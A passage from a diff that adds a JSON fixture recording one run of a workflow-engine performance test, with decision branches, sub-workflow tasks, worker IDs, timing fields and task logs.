"taskReferenceName": "subflow_4", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + } + ], + "attempt": 1 + }, + "workflowTask": { + "name": "perf_task_9", + "taskReferenceName": "perf_task_9", + "inputParameters": { + "mod": "perf_task_8.output.mod", + "oddEven": "perf_task_8.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069391291, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_9", + "description": "perf_task_9", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "queueWaitTime": 978, + "taskDefinition": { + "present": true + }, + "taskStatus": "COMPLETED", + "logs": [ + "01/14/19, 01:49:56:065 : Attempt 1be75865-00a1-4e2b-95c0-573c444d98d7,perf_task_9,1", + "01/14/19, 01:49:56:065 : Marking task completed", + "01/14/19, 01:49:56:065 : Starting to execute perf_task_9, id=c82cf62f-9f48-46c0-ae32-9bbfad57e71f", + "01/14/19, 01:49:56:065 : failure probability is 0.7340754 against 0.0" + ] + }, + { + "taskType": "DECISION", + "status": "COMPLETED", + "inputData": { + "hasChildren": "true", + "case": "5" + }, + "referenceTaskName": "modDecision", + "retryCount": 0, + "seq": 9, + "correlationId": "1547430586940", + "pollCount": 0, + "taskDefName": "DECISION", + "scheduledTime": 1547430596122, + "startTime": 1547430596133, + "endTime": 1547430596125, + "updateTime": 1547430613650, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "1be75865-00a1-4e2b-95c0-573c444d98d7", + "workflowType": "performance_test_1", + "taskId": "597b18b6-6d99-4356-b205-dbe532fc7983", + "callbackAfterSeconds": 0, + "outputData": { + "caseOutput": [ + "5" + ] + }, + "workflowTask": { + "name": "modDecision", + "taskReferenceName": "modDecision", + "inputParameters": { + "mod": "perf_task_8.output.mod" + }, + "type": "DECISION", + "caseValueParam": "mod", + "decisionCases": { + "0": [ + { + "name": "perf_task_12", + "taskReferenceName": "perf_task_12", + "inputParameters": { + "mod": "perf_task_9.output.mod", + "oddEven": "perf_task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389427, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_12", + "description": "perf_task_12", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_13", + "taskReferenceName": "perf_task_13", + "inputParameters": { + "mod": "perf_task_12.output.mod", + "oddEven": "perf_task_12.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389276, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_13", + "description": "perf_task_13", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf1", + "inputParameters": { + "mod": "perf_task_12.output.mod", + "oddEven": "perf_task_12.output.oddEven" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + }, + "optional": false, + "asyncComplete": false + } + ], + "1": [ + { + "name": "perf_task_15", + "taskReferenceName": "perf_task_15", + "inputParameters": { + "mod": "perf_task_9.output.mod", + "oddEven": "perf_task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069388963, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_15", + "description": "perf_task_15", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_16", + "taskReferenceName": "perf_task_16", + "inputParameters": { + "mod": "perf_task_15.output.mod", + "oddEven": "perf_task_15.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389067, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_16", + "description": "perf_task_16", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf2", + "inputParameters": { + "mod": "perf_task_12.output.mod", + "oddEven": "perf_task_12.output.oddEven" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + }, + "optional": false, + "asyncComplete": false + } + ], + "4": [ + { + "name": "perf_task_18", + "taskReferenceName": "perf_task_18", + "inputParameters": { + "mod": "perf_task_9.output.mod", + "oddEven": "perf_task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069388904, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_18", + "description": "perf_task_18", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_19", + "taskReferenceName": "perf_task_19", + "inputParameters": { + "mod": "perf_task_18.output.mod", + "oddEven": "perf_task_18.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389173, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_19", + "description": "perf_task_19", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + } + ], + "5": [ + { + "name": "perf_task_21", + "taskReferenceName": "perf_task_21", + "inputParameters": { + "mod": "perf_task_9.output.mod", + "oddEven": "perf_task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069390669, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_21", + "description": "perf_task_21", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf3", + "inputParameters": { + "mod": "perf_task_12.output.mod", + "oddEven": "perf_task_12.output.oddEven" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + }, + "optional": false, + "asyncComplete": false + }, + { + "name": "perf_task_22", + "taskReferenceName": "perf_task_22", + "inputParameters": { + "mod": "perf_task_21.output.mod", + "oddEven": "perf_task_21.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069391345, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_22", + "description": "perf_task_22", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + } + ] + }, + "defaultCase": [ + { + "name": "perf_task_24", + "taskReferenceName": "perf_task_24", + "inputParameters": { + "mod": "perf_task_9.output.mod", + "oddEven": "perf_task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069391074, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_24", + "description": "perf_task_24", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf4", + "inputParameters": { + "mod": "perf_task_12.output.mod", + "oddEven": "perf_task_12.output.oddEven" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + }, + "optional": false, + "asyncComplete": false + }, + { + "name": "perf_task_25", + "taskReferenceName": "perf_task_25", + "inputParameters": { + "mod": "perf_task_24.output.mod", + "oddEven": "perf_task_24.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069391177, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_25", + "description": "perf_task_25", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + } + ], + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "queueWaitTime": 11, + "taskDefinition": { + "present": false + }, + "taskStatus": "COMPLETED", + "logs": [] + }, + { + "taskType": "perf_task_21", + "status": "COMPLETED", + "inputData": { + "mod": "5", + "oddEven": "1" + }, + "referenceTaskName": "perf_task_21", + "retryCount": 0, + "seq": 10, + "correlationId": "1547430586940", + "pollCount": 1, + "taskDefName": "perf_task_21", + "scheduledTime": 1547430596128, + "startTime": 1547430597361, + "endTime": 1547430597400, + "updateTime": 1547430613663, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 300, + "workflowInstanceId": "1be75865-00a1-4e2b-95c0-573c444d98d7", + "workflowType": "performance_test_1", + "taskId": "f44f4598-7623-46db-a513-75000ccf39b8", + "callbackAfterSeconds": 0, + "workerId": "cpeworkflowtests-devint-i-075e5e67066be5d52", + "outputData": { + "mod": "2", + "oddEven": "0", + "inputs": { + "subflow_0": { + "mod": 4, + "oddEven": 0 + }, + "subflow_4": { + "mod": 4, + "oddEven": 0 + }, + "subflow_2": { + "mod": 4, + "oddEven": 0 + } + }, + "dynamicTasks": [ + { + "name": null, + "taskReferenceName": "subflow_0", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_2", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_4", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + } + ], + "attempt": 1 + }, + "workflowTask": { + "name": "perf_task_21", + "taskReferenceName": "perf_task_21", + "inputParameters": { + "mod": "perf_task_9.output.mod", + "oddEven": "perf_task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069390669, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_21", + "description": "perf_task_21", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "queueWaitTime": 1233, + "taskDefinition": { + "present": true + }, + "taskStatus": "COMPLETED", + "logs": [ + "01/14/19, 01:49:57:378 : Starting to execute perf_task_21, id=f44f4598-7623-46db-a513-75000ccf39b8", + "01/14/19, 01:49:57:378 : failure probability is 0.88135785 against 0.0", + "01/14/19, 01:49:57:378 : Attempt 1be75865-00a1-4e2b-95c0-573c444d98d7,perf_task_21,1", + "01/14/19, 01:49:57:383 : Marking task completed" + ] + }, + { + "taskType": "SUB_WORKFLOW", + "status": "COMPLETED", + "inputData": { + "workflowInput": {}, + "subWorkflowId": "e18f09cb-9b3e-4296-bc77-87339d2eb34c", + "subWorkflowName": "sub_flow_1", + "subWorkflowVersion": 1 + }, + "referenceTaskName": "wf3", + "retryCount": 0, + "seq": 11, + "correlationId": "1547430586940", + "pollCount": 0, + "taskDefName": "sub_workflow_x", + "scheduledTime": 1547430606665, + "startTime": 1547430597443, + "endTime": 1547430606672, + "updateTime": 1547430613674, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "1be75865-00a1-4e2b-95c0-573c444d98d7", + "workflowType": "performance_test_1", + "taskId": "37514448-8b14-4d5e-8483-0eabd89b73f6", + "callbackAfterSeconds": 0, + "outputData": { + "subWorkflowId": "e18f09cb-9b3e-4296-bc77-87339d2eb34c", + "mod": null, + "oddEven": null, + "es2statuses": [] + }, + "workflowTask": { + "name": "sub_workflow_x", + "taskReferenceName": "wf3", + "inputParameters": { + "mod": "perf_task_12.output.mod", + "oddEven": "perf_task_12.output.oddEven" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + }, + "optional": false, + "asyncComplete": false + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "queueWaitTime": -9222, + "taskDefinition": { + "present": false + }, + "taskStatus": "COMPLETED", + "logs": [] + }, + { + "taskType": "perf_task_22", + "status": "COMPLETED", + "inputData": { + "mod": "2", + "oddEven": "0" + }, + "referenceTaskName": "perf_task_22", + "retryCount": 0, + "seq": 12, + "correlationId": "1547430586940", + "pollCount": 1, + "taskDefName": "perf_task_22", + "scheduledTime": 1547430606701, + "startTime": 1547430607444, + "endTime": 1547430607481, + "updateTime": 1547430613684, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 300, + "workflowInstanceId": "1be75865-00a1-4e2b-95c0-573c444d98d7", + "workflowType": "performance_test_1", + "taskId": "f2448612-4960-4717-84f7-6686434733fe", + "callbackAfterSeconds": 0, + "workerId": "cpeworkflowtests-devint-i-075e5e67066be5d52", + "outputData": { + "mod": "2", + "oddEven": "0", + "inputs": { + "subflow_0": { + "mod": 4, + "oddEven": 0 + }, + "subflow_4": { + "mod": 4, + "oddEven": 0 + }, + "subflow_2": { + "mod": 4, + "oddEven": 0 + } + }, + "dynamicTasks": [ + { + "name": null, + "taskReferenceName": "subflow_0", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_2", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_4", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + } + ], + "attempt": 1 + }, + "workflowTask": { + "name": "perf_task_22", + "taskReferenceName": "perf_task_22", + "inputParameters": { + "mod": "perf_task_21.output.mod", + "oddEven": "perf_task_21.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069391345, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_22", + "description": "perf_task_22", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "queueWaitTime": 743, + "taskDefinition": { + "present": true + }, + "taskStatus": "COMPLETED", + "logs": [ + "01/14/19, 01:50:07:462 : Attempt 1be75865-00a1-4e2b-95c0-573c444d98d7,perf_task_22,1", + "01/14/19, 01:50:07:462 : Marking task completed", + "01/14/19, 01:50:07:462 : Starting to execute perf_task_22, id=f2448612-4960-4717-84f7-6686434733fe", + "01/14/19, 01:50:07:462 : failure probability is 0.6165708 against 0.0" + ] + }, + { + "taskType": "perf_task_28", + "status": "COMPLETED", + "inputData": { + "mod": "9", + "oddEven": "1" + }, + "referenceTaskName": "perf_task_28", + "retryCount": 0, + "seq": 13, + "correlationId": "1547430586940", + "pollCount": 1, + "taskDefName": "perf_task_28", + "scheduledTime": 1547430607541, + "startTime": 1547430608584, + "endTime": 1547430608631, + "updateTime": 1547430613694, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 300, + "workflowInstanceId": "1be75865-00a1-4e2b-95c0-573c444d98d7", + "workflowType": "performance_test_1", + "taskId": "f44c0a56-ae5b-4aba-ac69-c9f48ad6ecfc", + "callbackAfterSeconds": 0, + "workerId": "cpeworkflowtests-devint-i-0618a1a5e9526c9a1", + "outputData": { + "mod": "8", + "oddEven": "0", + "inputs": { + "subflow_0": { + "mod": 4, + "oddEven": 0 + }, + "subflow_4": { + "mod": 4, + "oddEven": 0 + }, + "subflow_2": { + "mod": 4, + "oddEven": 0 + } + }, + "dynamicTasks": [ + { + "name": null, + "taskReferenceName": "subflow_0", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_2", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_4", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + } + ], + "attempt": 1 + }, + "workflowTask": { + "name": "perf_task_28", + "taskReferenceName": "perf_task_28", + "inputParameters": { + "mod": "perf_task_3.output.mod", + "oddEven": "perf_task_3.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069390042, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_28", + "description": "perf_task_28", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "queueWaitTime": 1043, + "taskDefinition": { + "present": true + }, + "taskStatus": "COMPLETED", + "logs": [ + "01/14/19, 01:50:08:605 : Starting to execute perf_task_28, id=f44c0a56-ae5b-4aba-ac69-c9f48ad6ecfc", + "01/14/19, 01:50:08:605 : failure probability is 0.8953033 against 0.0", + "01/14/19, 01:50:08:605 : Attempt 1be75865-00a1-4e2b-95c0-573c444d98d7,perf_task_28,1", + "01/14/19, 01:50:08:608 : Marking task completed" + ] + }, + { + "taskType": "perf_task_29", + "status": "COMPLETED", + "inputData": { + "mod": "8", + "oddEven": "0" + }, + "referenceTaskName": "perf_task_29", + "retryCount": 0, + "seq": 14, + "correlationId": "1547430586940", + "pollCount": 1, + "taskDefName": "perf_task_29", + "scheduledTime": 1547430608681, + "startTime": 1547430611220, + "endTime": 1547430611262, + "updateTime": 1547430613702, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 300, + "workflowInstanceId": "1be75865-00a1-4e2b-95c0-573c444d98d7", + "workflowType": "performance_test_1", + "taskId": "ff3961e9-a7cf-454e-a5a5-31d9582fc3be", + "callbackAfterSeconds": 0, + "workerId": "cpeworkflowtests-devint-i-075e5e67066be5d52", + "outputData": { + "mod": "0", + "oddEven": "0", + "inputs": { + "subflow_0": { + "mod": 4, + "oddEven": 0 + }, + "subflow_4": { + "mod": 4, + "oddEven": 0 + }, + "subflow_2": { + "mod": 4, + "oddEven": 0 + } + }, + "dynamicTasks": [ + { + "name": null, + "taskReferenceName": "subflow_0", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_2", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_4", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + } + ], + "attempt": 1 + }, + "workflowTask": { + "name": "perf_task_29", + "taskReferenceName": "perf_task_29", + "inputParameters": { + "mod": "perf_task_28.output.mod", + "oddEven": "perf_task_28.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069390098, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_29", + "description": "perf_task_29", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "queueWaitTime": 2539, + "taskDefinition": { + "present": true + }, + "taskStatus": "COMPLETED", + "logs": [ + "01/14/19, 01:50:11:238 : Attempt 1be75865-00a1-4e2b-95c0-573c444d98d7,perf_task_29,1", + "01/14/19, 01:50:11:238 : Starting to execute perf_task_29, id=ff3961e9-a7cf-454e-a5a5-31d9582fc3be", + "01/14/19, 01:50:11:238 : failure probability is 0.3055073 against 0.0", + "01/14/19, 01:50:11:240 : Marking task completed" + ] + }, + { + "taskType": "perf_task_30", + "status": "COMPLETED", + "inputData": { + "mod": "0", + "oddEven": "0" + }, + "referenceTaskName": "perf_task_30", + "retryCount": 0, + "seq": 15, + "correlationId": "1547430586940", + "pollCount": 1, + "taskDefName": "perf_task_30", + "scheduledTime": 1547430611308, + "startTime": 1547430613454, + "endTime": 1547430613496, + "updateTime": 1547430613712, + "startDelayInSeconds": 0, + "retried": false, + "executed": true, + "callbackFromWorker": true, + "responseTimeoutSeconds": 300, + "workflowInstanceId": "1be75865-00a1-4e2b-95c0-573c444d98d7", + "workflowType": "performance_test_1", + "taskId": "603a164f-3198-40ed-a5b6-7dd439349c25", + "callbackAfterSeconds": 0, + "workerId": "cpeworkflowtests-devint-i-0618a1a5e9526c9a1", + "outputData": { + "mod": "6", + "oddEven": "0", + "inputs": { + "subflow_0": { + "mod": 4, + "oddEven": 0 + }, + "subflow_4": { + "mod": 4, + "oddEven": 0 + }, + "subflow_2": { + "mod": 4, + "oddEven": 0 + } + }, + "dynamicTasks": [ + { + "name": null, + "taskReferenceName": "subflow_0", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_2", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + 